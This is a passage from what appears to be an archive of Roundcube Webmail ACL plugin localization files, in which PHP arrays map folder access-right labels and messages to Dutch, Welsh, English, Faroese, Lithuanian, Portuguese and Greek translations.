 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Delen';
$labels['myrights'] = 'Toegangsrechten';
$labels['username'] = 'Gebruiker:';
$labels['advanced'] = 'Geavanceerde modus';
$labels['add'] = 'Toevoegen';
$labels['newuser'] = 'Item toevoegen';
$labels['editperms'] = 'Rechten bewerken';
$labels['actions'] = 'Toegangsrechtenopties...';
$labels['anyone'] = 'Alle gebruikers (iedereen)';
$labels['anonymous'] = 'Gasten (anoniem)';
$labels['identifier'] = 'Identificatie';
$labels['acll'] = 'Opzoeken';
$labels['aclr'] = 'Berichten lezen';
$labels['acls'] = 'Onthoud gelezen-status';
$labels['aclw'] = 'Markeringen instellen';
$labels['acli'] = 'Invoegen (kopiëren naar)';
$labels['aclp'] = 'Plaatsen';
$labels['aclc'] = 'Submappen aanmaken';
$labels['aclk'] = 'Submappen aanmaken';
$labels['acld'] = 'Berichten verwijderen';
$labels['aclt'] = 'Berichten verwijderen';
$labels['acle'] = 'Vernietigen';
$labels['aclx'] = 'Map verwijderen';
$labels['acla'] = 'Beheren';
$labels['acln'] = 'Annoteer berichten';
$labels['aclfull'] = 'Volledige toegang';
$labels['aclother'] = 'Overig';
$labels['aclread'] = 'Lezen';
$labels['aclwrite'] = 'Schrijven';
$labels['acldelete'] = 'Verwijderen';
$labels['shortacll'] = 'Opzoeken';
$labels['shortaclr'] = 'Lezen';
$labels['shortacls'] = 'Behouden';
$labels['shortaclw'] = 'Schrijven';
$labels['shortacli'] = 'Invoegen';
$labels['shortaclp'] = 'Plaatsen';
$labels['shortaclc'] = 'Aanmaken';
$labels['shortaclk'] = 'Aanmaken';
$labels['shortacld'] = 'Verwijderen';
$labels['shortaclt'] = 'Verwijderen';
$labels['shortacle'] = 'Vernietigen';
$labels['shortaclx'] = 'Map verwijderen';
$labels['shortacla'] = 'Beheren';
$labels['shortacln'] = 'Annoteren';
$labels['shortaclother'] = 'Overig';
$labels['shortaclread'] = 'Lezen';
$labels['shortaclwrite'] = 'Schrijven';
$labels['shortacldelete'] = 'Verwijderen';
$labels['longacll'] = 'De map is zichtbaar in lijsten en het is mogelijk om te abonneren op deze map';
$labels['longaclr'] = 'De map kan geopend worden om te lezen';
$labels['longacls'] = 'De berichtmarkering \'Gelezen\' kan aangepast worden';
$labels['longaclw'] = 'Berichtmarkeringen en labels kunnen aangepast worden, behalve \'Gelezen\' en \'Verwijderd\'';
$labels['longacli'] = 'Berichten kunnen opgesteld worden of gekopieerd worden naar deze map';
$labels['longaclp'] = 'Berichten kunnen geplaatst worden in deze map';
$labels['longaclc'] = 'Mappen kunnen aangemaakt of hernoemd worden rechtstreeks onder deze map';
$labels['longaclk'] = 'Mappen kunnen aangemaakt of hernoemd worden rechtstreeks onder deze map';
$labels['longacld'] = 'De berichtmarkering \'Verwijderd\' kan aangepast worden';
$labels['longaclt'] = 'De berichtmarkering \'Verwijderd\' kan aangepast worden';
$labels['longacle'] = 'Berichten kunnen vernietigd worden';
$labels['longaclx'] = 'De map kan verwijderd of hernoemd worden';
$labels['longacla'] = 'De toegangsrechten voor deze map kunnen veranderd worden';
$labels['longacln'] = 'Gedeelde metadata (annotaties) van berichten kan aangepast worden';
$labels['longaclfull'] = 'Volledige controle inclusief mappenbeheer';
$labels['longaclread'] = 'De map kan geopend worden om te lezen';
$labels['longaclwrite'] = 'Berichten kunnen gemarkeerd worden, opgesteld worden of gekopieerd worden naar deze map';
$labels['longacldelete'] = 'Berichten kunnen verwijderd worden';
$labels['longaclother'] = 'Overige toegangsrechten';
$labels['ariasummaryacltable'] = 'Lijst van toegangsrechten';
$labels['arialabelaclactions'] = 'Lijstacties';
$labels['arialabelaclform'] = 'Formulier voor toegangsrechten';
$messages['deleting'] = 'Toegangsrechten worden verwijderd...';
$messages['saving'] = 'Toegangsrechten worden opgeslagen...';
$messages['updatesuccess'] = 'Toegangsrechten succesvol veranderd';
$messages['deletesuccess'] = 'Toegangsrechten succesvol verwijderd';
$messages['createsuccess'] = 'Toegangsrechten succesvol toegevoegd';
$messages['updateerror'] = 'Toegangsrechten kunnen niet bijgewerkt worden';
$messages['deleteerror'] = 'Toegangsrechten kunnen niet verwijderd worden';
$messages['createerror'] = 'Toegangsrechten kunnen niet toegevoegd worden';
$messages['deleteconfirm'] = 'Weet u zeker dat u de toegangsrechten van de geselecteerde gebruiker(s) wilt verwijderen?';
$messages['norights'] = 'Er zijn geen toegangsrechten opgegeven!';
$messages['nouser'] = 'Er is geen gebruikersnaam opgegeven!';
PKh�\�H���"plugins/acl/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Rhannu';
$labels['myrights'] = 'Hawliau Mynediad';
$labels['username'] = 'Defnyddiwr:';
$labels['advanced'] = 'Modd uwch';
$labels['add'] = 'Ychwanegu';
$labels['newuser'] = 'Ychwanegu cofnod';
$labels['editperms'] = 'Golygu hawliau';
$labels['actions'] = 'Gweithredoedd hawl mynediad...';
$labels['anyone'] = 'Pob defnyddiwr (unrhywun)';
$labels['anonymous'] = 'Gwestai (anhysbys)';
$labels['identifier'] = 'Dynodwr';
$labels['acll'] = 'Chwilio';
$labels['aclr'] = 'Darllen negeseuon';
$labels['acls'] = 'Cadw stad Gwelwyd';
$labels['aclw'] = 'Fflagiau ysgrifennu';
$labels['acli'] = 'Mewnosod (Copïo fewn i)';
$labels['aclp'] = 'Postio';
$labels['aclc'] = 'Creu is-ffolderi';
$labels['aclk'] = 'Creu is-ffolderi';
$labels['acld'] = 'Dileu negeseuon';
$labels['aclt'] = 'Dileu negeseuon';
$labels['acle'] = 'Dileu';
$labels['aclx'] = 'Dileu ffolder';
$labels['acla'] = 'Gweinyddu';
$labels['acln'] = 'Anodi negeseuon';
$labels['aclfull'] = 'Rheolaeth lawn';
$labels['aclother'] = 'Arall';
$labels['aclread'] = 'Darllen';
$labels['aclwrite'] = 'Ysgrifennu';
$labels['acldelete'] = 'Dileu';
$labels['shortacll'] = 'Chwilio';
$labels['shortaclr'] = 'Darllen';
$labels['shortacls'] = 'Cadw';
$labels['shortaclw'] = 'Ysgrifennu';
$labels['shortacli'] = 'Mewnosod';
$labels['shortaclp'] = 'Postio';
$labels['shortaclc'] = 'Creu';
$labels['shortaclk'] = 'Creu';
$labels['shortacld'] = 'Dileu';
$labels['shortaclt'] = 'Dileu';
$labels['shortacle'] = 'Dileu';
$labels['shortaclx'] = 'Dileu ffolder';
$labels['shortacla'] = 'Gweinyddu';
$labels['shortacln'] = 'Anodi';
$labels['shortaclother'] = 'Arall';
$labels['shortaclread'] = 'Darllen';
$labels['shortaclwrite'] = 'Ysgrifennu';
$labels['shortacldelete'] = 'Dileu';
$labels['longacll'] = 'Mae\'r ffolder hwn i\'w weld ar y rhestrau a mae\'n bosib tanysgrifio iddo';
$labels['longaclr'] = 'Gellir agor y ffolder hwn i\'w ddarllen';
$labels['longacls'] = 'Gellir newid y fflag negeseuon Gwelwyd';
$labels['longaclw'] = 'Gellir newid y fflagiau negeseuon a allweddeiriau, heblaw Gwelwyd a Dilëuwyd';
$labels['longacli'] = 'Gellir ysgrifennu neu copïo negeseuon i\'r ffolder';
$labels['longaclp'] = 'Gellir postio negeseuon i\'r ffolder hwn';
$labels['longaclc'] = 'Gellir creu (neu ail-enwi) ffolderi yn uniongyrchol o dan y ffolder hwn';
$labels['longaclk'] = 'Gellir creu (neu ail-enwi) ffolderi yn uniongyrchol o dan y ffolder hwn';
$labels['longacld'] = 'Gellir newid fflag neges Dileu';
$labels['longaclt'] = 'Gellir newid fflag neges Dileu';
$labels['longacle'] = 'Gellir gwaredu negeseuon';
$labels['longaclx'] = 'Gellir dileu neu ail-enwi\'r ffolder';
$labels['longacla'] = 'Gellir newid hawliau mynediad y ffolder';
$labels['longacln'] = 'Gellir newid negeseuon metadata (anodiadau) a rannwyd';
$labels['longaclfull'] = 'Rheolaeth lawn yn cynnwys rheolaeth ffolderi';
$labels['longaclread'] = 'Gellir agor y ffolder hwn i\'w ddarllen';
$labels['longaclwrite'] = 'Gellir nodi, ysgrifennu neu copïo negeseuon i\'r ffolder';
$labels['longacldelete'] = 'Gellir dileu negeseuon';
$labels['longaclother'] = 'Hawliau mynediad eraill';
$labels['ariasummaryacltable'] = 'Rhestr o hawliau mynediad';
$labels['arialabelaclactions'] = 'Rhestru gweithrediadau';
$labels['arialabelaclform'] = 'Ffurflen hawliau mynediad';
$messages['deleting'] = 'Yn dileu hawliau mynediad...';
$messages['saving'] = 'Yn cadw hawliau mynediad...';
$messages['updatesuccess'] = 'Wedi newid hawliau mynediad yn llwyddiannus';
$messages['deletesuccess'] = 'Wedi dileu hawliau mynediad yn llwyddiannus';
$messages['createsuccess'] = 'Wedi ychwanegu hawliau mynediad yn llwyddiannus';
$messages['updateerror'] = 'Methwyd diweddaru hawliau mynediad';
$messages['deleteerror'] = 'Methwyd dileu hawliau mynediad';
$messages['createerror'] = 'Methwyd ychwanegu hawliau mynediad';
$messages['deleteconfirm'] = 'Ydych chi\'n siwr eich bod am ddileu hawliau mynediad y defnyddiwr/wyr ddewiswyd?';
$messages['norights'] = 'Nid oes hawliau wedi eu nodi!';
$messages['nouser'] = 'Nid oes enw defnyddiwr wedi ei nodi!';
PKh�\�֭7"plugins/acl/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Sharing';
$labels['myrights'] = 'Access Rights';
$labels['username'] = 'User:';
$labels['advanced'] = 'Advanced mode';
$labels['add'] = 'Add';
$labels['newuser'] = 'Add entry';
$labels['editperms'] = 'Edit permissions';
$labels['actions'] = 'Access right actions...';
$labels['anyone'] = 'All users (anyone)';
$labels['anonymous'] = 'Guests (anonymous)';
$labels['identifier'] = 'Identifier';
$labels['acll'] = 'Look-up';
$labels['aclr'] = 'Read messages';
$labels['acls'] = 'Keep Seen state';
$labels['aclw'] = 'Write flags';
$labels['acli'] = 'Insert (copy into)';
$labels['aclp'] = 'Post';
$labels['aclc'] = 'Create sub-folders';
$labels['aclk'] = 'Create sub-folders';
$labels['acld'] = 'Delete messages';
$labels['aclt'] = 'Delete messages';
$labels['acle'] = 'Expunge';
$labels['aclx'] = 'Delete folder';
$labels['acla'] = 'Administer';
$labels['acln'] = 'Annotate messages';
$labels['aclfull'] = 'Full control';
$labels['aclother'] = 'Other';
$labels['aclread'] = 'Read';
$labels['aclwrite'] = 'Write';
$labels['acldelete'] = 'Delete';
$labels['shortacll'] = 'Look-up';
$labels['shortaclr'] = 'Read';
$labels['shortacls'] = 'Keep';
$labels['shortaclw'] = 'Write';
$labels['shortacli'] = 'Insert';
$labels['shortaclp'] = 'Post';
$labels['shortaclc'] = 'Create';
$labels['shortaclk'] = 'Create';
$labels['shortacld'] = 'Delete';
$labels['shortaclt'] = 'Delete';
$labels['shortacle'] = 'Expunge';
$labels['shortaclx'] = 'Folder delete';
$labels['shortacla'] = 'Administer';
$labels['shortacln'] = 'Annotate';
$labels['shortaclother'] = 'Other';
$labels['shortaclread'] = 'Read';
$labels['shortaclwrite'] = 'Write';
$labels['shortacldelete'] = 'Delete';
$labels['longacll'] = 'The folder is visible on lists and can be subscribed to.';
$labels['longaclr'] = 'The folder can be opened for reading';
$labels['longacls'] = 'Messages Seen flag can be changed';
$labels['longaclw'] = 'Messages flags and keywords can be changed, except Seen and Deleted.';
$labels['longacli'] = 'Messages can be written or copied to the folder';
$labels['longaclp'] = 'Messages can be posted to this folder';
$labels['longaclc'] = 'Folders can be created (or renamed) directly under this folder';
$labels['longaclk'] = 'Folders can be created (or renamed) directly under this folder';
$labels['longacld'] = 'Messages Delete flag can be changed';
$labels['longaclt'] = 'Messages Delete flag can be changed';
$labels['longacle'] = 'Messages can be expunged';
$labels['longaclx'] = 'The folder can be deleted or renamed';
$labels['longacla'] = 'The folder access rights can be changed';
$labels['longacln'] = 'Messages shared metadata (annotations) can be changed';
$labels['longaclfull'] = 'Full control including folder administration';
$labels['longaclread'] = 'The folder can be opened for reading';
$labels['longaclwrite'] = 'Messages can be marked, written or copied to the folder';
$labels['longacldelete'] = 'Messages can be deleted';
$labels['longaclother'] = 'Other access rights';
$labels['ariasummaryacltable'] = 'List of access rights';
$labels['arialabelaclactions'] = 'List actions';
$labels['arialabelaclform'] = 'Access rights form';
$messages['deleting'] = 'Deleting access rights...';
$messages['saving'] = 'Saving access rights...';
$messages['updatesuccess'] = 'Successfully changed access rights';
$messages['deletesuccess'] = 'Successfully deleted access rights';
$messages['createsuccess'] = 'Successfully added access rights';
$messages['updateerror'] = 'Unable to update access rights';
$messages['deleteerror'] = 'Unable to delete access rights';
$messages['createerror'] = 'Unable to add access rights';
$messages['deleteconfirm'] = 'Are you sure, you want to remove access rights of selected user(s)?';
$messages['norights'] = 'No rights has been specified!';
$messages['nouser'] = 'No username has been specified!';
PKh�\e�s���"plugins/acl/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Deiling';
$labels['myrights'] = 'Atgongdar-rættindi';
$labels['username'] = 'Brúkari:';
$labels['advanced'] = 'Víðkað útgáva';
$labels['add'] = 'Legg aftrat';
$labels['newuser'] = 'Legg inn';
$labels['editperms'] = 'Broyt atgonguloyvi';
$labels['actions'] = 'Stillingar til atgongu-rættindi';
$labels['anyone'] = 'Allir brúkarir (øll)';
$labels['anonymous'] = 'Gestir (dulnevnd)';
$labels['identifier'] = 'dátuheiti';
$labels['acll'] = 'Slá upp';
$labels['aclr'] = 'Les boð';
$labels['acls'] = 'Varveit lisna støðu';
$labels['aclw'] = 'Hvít Fløgg';
$labels['acli'] = 'Set inn (Copy into)';
$labels['aclp'] = 'Send';
$labels['aclc'] = 'Ger undurmappur';
$labels['aclk'] = 'Ger undurmappur';
$labels['acld'] = 'Strika boð';
$labels['aclt'] = 'Strika boð';
$labels['acle'] = 'Strika út';
$labels['aclx'] = 'Strika mappu';
$labels['acla'] = 'Umsit';
$labels['acln'] = 'Viðmerk boð';
$labels['aclfull'] = 'Full stýring';
$labels['aclother'] = 'Annað';
$labels['aclread'] = 'Les';
$labels['aclwrite'] = 'Skriva';
$labels['acldelete'] = 'Strika';
$labels['shortacll'] = 'Leita';
$labels['shortaclr'] = 'Les';
$labels['shortacls'] = 'Varveit';
$labels['shortaclw'] = 'Skriva';
$labels['shortacli'] = 'Legg inn';
$labels['shortaclp'] = 'Send';
$labels['shortaclc'] = 'Stovna';
$labels['shortaclk'] = 'Stovna';
$labels['shortacld'] = 'Strika';
$labels['shortaclt'] = 'Strika';
$labels['shortacle'] = 'Strika út';
$labels['shortaclx'] = 'Strika mappu';
$labels['shortacla'] = 'Umsit';
$labels['shortacln'] = 'Viðmerk';
$labels['shortaclother'] = 'Annað';
$labels['shortaclread'] = 'Les';
$labels['shortaclwrite'] = 'Skriva';
$labels['shortacldelete'] = 'Strika';
$labels['longacll'] = 'Mappan er sjónlig á listum og til ber at tekna seg fyri hana';
$labels['longaclr'] = 'Mappan kann verða opna til lesná';
$labels['longacls'] = 'Viðmerki ið vísur á lisin boð kann broytast';
$labels['longaclw'] = 'Boð viðmerki og lyklaorð kunnu øll broytast, undantikið Sæð og Strika';
$labels['longacli'] = 'Boð kunnu verða skriva og flutt til eina aðra mappu';
$labels['longaclp'] = 'Boð kunnu verða send til hesa mappu';
$labels['longaclc'] = 'Mappur kunnu verða stovnaðar (ella umdoyptar) beinleiðis undir hesu mappu';
$labels['longaclk'] = 'Mappur kunnu verða stovnaðar (ella umdoyptar) beinleiðis undir hesu mappu';
$labels['longacld'] = 'Viðmerki ið vísur á strika boð kann broytast';
$labels['longaclt'] = 'Viðmerki ið vísur á strika boð kann broytast';
$labels['longacle'] = 'Boð kunnu verða strika út';
$labels['longaclx'] = 'Mappan kann verða strika ella umdoypt';
$labels['longacla'] = 'Atgongdu-rættindini til hesa mappu kunnu broytast';
$labels['longacln'] = '"Metadata" (viðmerking) av boðum kann broytast';
$labels['longaclfull'] = 'Full stýring, írokna mappu-umsiting';
$labels['longaclread'] = 'Mappan kann latast upp til lesná';
$labels['longaclwrite'] = 'Boð kunnu verða viðmerkt, skriva ella avritast til mappuna';
$labels['longacldelete'] = 'Boð kunnu verða strikað';
$labels['longaclother'] = 'Aðrar heimildir';
$labels['ariasummaryacltable'] = 'Listi yvir brúkara heimildum';
$labels['arialabelaclactions'] = 'Vís gerðir';
$labels['arialabelaclform'] = 'Heimilda frymil';
$messages['deleting'] = 'Strikar atgongu-rættindi...';
$messages['saving'] = 'Goymur atgongu-rættindi...';
$messages['updatesuccess'] = 'Atgongu-rættindi broytt væleyndað';
$messages['deletesuccess'] = 'Atgongu-rættindi strika væleyndað';
$messages['createsuccess'] = 'Atgongu-rættindi stovna væleyndað';
$messages['updateerror'] = 'Til ber ikki at dagføra atgongu-rættindi';
$messages['deleteerror'] = 'Til ber ikki at strika atgongu-rættindi';
$messages['createerror'] = 'Til ber ikki at leggja aftrat atgongu-rættindi';
$messages['deleteconfirm'] = 'Ert tú vís/ur í at tú ynskir at strika atgongu-rættindini hjá valdum brúkar(um)?';
$messages['norights'] = 'Eingi rættindi tilskilað!';
$messages['nouser'] = 'Einki brúkaranavn var tilskilað!';
PKh�\a�7���"plugins/acl/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Dalinimasis';
$labels['myrights'] = 'Prieigos teisės';
$labels['username'] = 'Vartotojas:';
$labels['advanced'] = 'Pažengusio vartotojo rėžimas';
$labels['add'] = 'Pridėti';
$labels['newuser'] = 'Pridėti įrašą';
$labels['editperms'] = 'Tvarkyti leidimus';
$labels['actions'] = 'Prieigos teisių veiksmai...';
$labels['anyone'] = 'Visi vartotojai (bet kas)';
$labels['anonymous'] = 'Svečias (anonimas)';
$labels['identifier'] = 'Identifikatorius';
$labels['acll'] = 'Paieška';
$labels['aclr'] = 'Perskaityti pranešimus';
$labels['acls'] = 'Palikti būseną "Žiūrėtas"';
$labels['aclw'] = 'Įrašyti vėliavėles';
$labels['acli'] = 'Įterpti (kopijuoti į)';
$labels['aclp'] = 'Įrašas';
$labels['aclc'] = 'Kurti poaplankius';
$labels['aclk'] = 'Kurti poaplankius';
$labels['acld'] = 'Ištrinti žinutes';
$labels['aclt'] = 'Ištrinti žinutes';
$labels['acle'] = 'Išbraukti';
$labels['aclx'] = 'Ištrinti aplanką';
$labels['acla'] = 'Valdyti';
$labels['acln'] = 'Anotuoti laiškus';
$labels['aclfull'] = 'Visiška kontrolė';
$labels['aclother'] = 'Kita';
$labels['aclread'] = 'Skaityti';
$labels['aclwrite'] = 'Įrašyti';
$labels['acldelete'] = 'Trinti';
$labels['shortacll'] = 'Paieška';
$labels['shortaclr'] = 'Skaityti';
$labels['shortacls'] = 'Palikti';
$labels['shortaclw'] = 'Įrašyti';
$labels['shortacli'] = 'Įterpti';
$labels['shortaclp'] = 'Įrašas';
$labels['shortaclc'] = 'Sukurti';
$labels['shortaclk'] = 'Sukurti';
$labels['shortacld'] = 'Trinti';
$labels['shortaclt'] = 'Trinti';
$labels['shortacle'] = 'Išbraukti';
$labels['shortaclx'] = 'Ištrinti aplanką';
$labels['shortacla'] = 'Valdyti';
$labels['shortacln'] = 'Anotuoti';
$labels['shortaclother'] = 'Kita';
$labels['shortaclread'] = 'Skaityti';
$labels['shortaclwrite'] = 'Įrašyti';
$labels['shortacldelete'] = 'Trinti';
$labels['longacll'] = 'Aplankas yra matomas sąrašuose ir gali būti prenumeruojamas';
$labels['longaclr'] = 'Aplanką galima peržiūrėti';
$labels['longacls'] = 'Pranešimų vėliavėlė "Matyta" gali būti pakeista';
$labels['longaclw'] = 'Pranešimų vėliavėlės ir raktažodžiai gali būti pakeisti, išskyrus "Matytas" ir "Ištrintas"';
$labels['longacli'] = 'Pranešimai gali būti įrašyti arba nukopijuoti į aplanką';
$labels['longaclp'] = 'Į šį aplanką galima dėti laiškus.';
$labels['longaclc'] = 'Nauji aplankai gali būti kuriami (arba pervadinami) šioje direktorijoje';
$labels['longaclk'] = 'Nauji aplankai gali būti kuriami (arba pervadinami) šioje direktorijoje';
$labels['longacld'] = 'Pranešimų vėliavėlė "Ištrintas" gali būti pakeista';
$labels['longaclt'] = 'Pranešimų vėliavėlė "Ištrintas" gali būti pakeista';
$labels['longacle'] = 'Pranešimai gali būti išbraukti';
$labels['longaclx'] = 'Aplankas gali būti pašalintas arba pervadintas';
$labels['longacla'] = 'Aplanko prieigos teisės gali būti pakeistos';
$labels['longacln'] = 'Bendrieji laiškų meta-duomenys (anotacijos) gali būti pakeisti';
$labels['longaclfull'] = 'Visiška kontrolė įskaitant aplanko administravimą';
$labels['longaclread'] = 'Aplanką galima peržiūrėti';
$labels['longaclwrite'] = 'Pranešimai gali būti pažymėti, įrašyti arba nukopijuoti į aplanką';
$labels['longacldelete'] = 'Pranešimai gali būti ištrinti';
$labels['longaclother'] = 'Kitos prieigos teisės';
$labels['ariasummaryacltable'] = 'Prieigos teisių sąrašas';
$labels['arialabelaclactions'] = 'Rodyti veiksmus';
$labels['arialabelaclform'] = 'Prieigos teisių forma';
$messages['deleting'] = 'Panaikinamos prieigos teisės';
$messages['saving'] = 'Išsaugomos prieigos teisės';
$messages['updatesuccess'] = 'Prieigos teisės sėkmingai pakeistos';
$messages['deletesuccess'] = 'Prieigos teisės sėkmingai panaikintos';
$messages['createsuccess'] = 'Prieigos teisės sėkmingai pridėtos';
$messages['updateerror'] = 'Nepavyko pakeisti prieigos teisių';
$messages['deleteerror'] = 'Neįmanoma panaikinti prieigos teises';
$messages['createerror'] = 'Neišeina pridėti prieigos teises';
$messages['deleteconfirm'] = 'Ar jūs esate įsitikinę, jog norite panaikinti prieigos teises pažymėtiems vartotojams(-ui)?';
$messages['norights'] = 'Nenurodytos jokios teisės!';
$messages['nouser'] = 'Nenurodytas joks vartotojas!';
PKh�\�H��"plugins/acl/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Partilhar';
$labels['myrights'] = 'Permissões de acesso';
$labels['username'] = 'Utilizador:';
$labels['advanced'] = 'Modo avançado';
$labels['add'] = 'Adicionar';
$labels['newuser'] = 'Adicionar entrada';
$labels['editperms'] = 'Editar permissões';
$labels['actions'] = 'Acções de permissão de acesso...';
$labels['anyone'] = 'Todos os utilizadores (todos)';
$labels['anonymous'] = 'Convidados (anónimo)';
$labels['identifier'] = 'Identificador';
$labels['acll'] = 'Pesquisar';
$labels['aclr'] = 'Ler mensagens';
$labels['acls'] = 'Manter estado Visto';
$labels['aclw'] = 'Guardar marcadores';
$labels['acli'] = 'Inserir (Copiar para)';
$labels['aclp'] = 'Publicar';
$labels['aclc'] = 'Criar subpastas';
$labels['aclk'] = 'Criar subpastas';
$labels['acld'] = 'Eliminar mensagens';
$labels['aclt'] = 'Eliminar mensagens';
$labels['acle'] = 'Purgar';
$labels['aclx'] = 'Eliminar pasta';
$labels['acla'] = 'Administrar';
$labels['acln'] = 'Anotar mensagens';
$labels['aclfull'] = 'Controlo total';
$labels['aclother'] = 'Outro';
$labels['aclread'] = 'Ler';
$labels['aclwrite'] = 'Escrever';
$labels['acldelete'] = 'Eliminar';
$labels['shortacll'] = 'Pesquisar';
$labels['shortaclr'] = 'Ler';
$labels['shortacls'] = 'Manter';
$labels['shortaclw'] = 'Escrever';
$labels['shortacli'] = 'Inserir';
$labels['shortaclp'] = 'Publicar';
$labels['shortaclc'] = 'Criar';
$labels['shortaclk'] = 'Criar';
$labels['shortacld'] = 'Eliminar';
$labels['shortaclt'] = 'Eliminar';
$labels['shortacle'] = 'Purgar';
$labels['shortaclx'] = 'Eliminar pasta';
$labels['shortacla'] = 'Administrar';
$labels['shortacln'] = 'Anotar';
$labels['shortaclother'] = 'Outro';
$labels['shortaclread'] = 'Ler';
$labels['shortaclwrite'] = 'Escrever';
$labels['shortacldelete'] = 'Eliminar';
$labels['longacll'] = 'A pasta está visível em listas e pode subscrita';
$labels['longaclr'] = 'A pasta pode ser aberta para leitura';
$labels['longacls'] = 'O marcador Mensagens Vistas pode ser alterado';
$labels['longaclw'] = 'Marcadores de mensagens e palavras-chave podem ser alterados, excepto Vistas e Eliminadas';
$labels['longacli'] = 'As mensagens podem ser escritas ou copiadas para a pasta';
$labels['longaclp'] = 'As mensagens podem ser publicadas para esta pasta';
$labels['longaclc'] = 'As pastas podem ser criadas (ou renomeadas) directamente debaixo desta pasta';
$labels['longaclk'] = 'As pastas podem ser criadas (ou renomeadas) directamente debaixo desta pasta';
$labels['longacld'] = 'O marcador Apagar Mensagens pode ser alterado';
$labels['longaclt'] = 'O marcador Apagar Mensagens pode ser alterado';
$labels['longacle'] = 'As mensagens podem ser purgadas';
$labels['longaclx'] = 'A pasta pode ser eliminada ou renomeada';
$labels['longacla'] = 'As permissões de acesso da pasta podem ser alteradas';
$labels['longacln'] = 'Mensagens de metadados (anotações) partilhadas podem ser alteradas';
$labels['longaclfull'] = 'Controlo total incluindo administração de pastas';
$labels['longaclread'] = 'A pasta pode ser aberta para leitura';
$labels['longaclwrite'] = 'As mensagens podem ser marcadas, guardadas ou copiadas para a pasta';
$labels['longacldelete'] = 'As mensagens podem ser eliminadas';
$labels['longaclother'] = 'Outros direitos de acesso';
$labels['ariasummaryacltable'] = 'Lista de direitos de acesso';
$labels['arialabelaclactions'] = 'Lista de acções';
$labels['arialabelaclform'] = 'Formulário de direitos de acesso';
$messages['deleting'] = 'A eliminar permissões de acesso...';
$messages['saving'] = 'A guardar permissões de acesso...';
$messages['updatesuccess'] = 'Permissões de acesso alteradas com sucesso';
$messages['deletesuccess'] = 'Permissões de acesso eliminadas com sucesso';
$messages['createsuccess'] = 'Permissões de acesso adicionadas com sucesso';
$messages['updateerror'] = 'Não foi possível actualizar os direitos de acesso';
$messages['deleteerror'] = 'Não foi possível eliminar permissões de acesso';
$messages['createerror'] = 'Não foi possível adicionar permissões de acesso';
$messages['deleteconfirm'] = 'Tem a certeza que pretende remover as permissões de acesso do(s) utilizador(es) seleccionado(s)?';
$messages['norights'] = 'Não foram especificadas quaisquer permissões!';
$messages['nouser'] = 'Não foi especificado nenhum nome de utilizador!';
PKh�\Vy�:FF"plugins/acl/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail ACL plugin                 |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-acl/
*/

$labels['sharing'] = 'Κοινή χρήση';
$labels['myrights'] = 'Δικαιώματα Πρόσβασης ';
$labels['username'] = 'Χρήστης:';
$labels['advanced'] = 'Προηγμένη λειτουργία';
$labels['add'] = 'Προσθήκη';
$labels['newuser'] = 'Προσθήκη καταχώρησης ';
$labels['editperms'] = 'Μεταβολή δικαιωμάτων';
$labels['actions'] = 'Ενέργειες δικαιωμάτων πρόσβασης...';
$labels['anyone'] = 'Όλοι οι χρήστες (οποιοσδήποτε)';
$labels['anonymous'] = 'Επισκέπτες (ανώνυμοι)';
$labels['identifier'] = 'Αναγνωριστικό';
$labels['acll'] = 'Αναζήτηση';
$labels['aclr'] = 'Διαβάστε τα μηνύματα ';
$labels['acls'] = 'Διατήρηση κατάστασης ανάγνωσης';
$labels['aclw'] = 'Ρυθμίσεις εγγραφής';
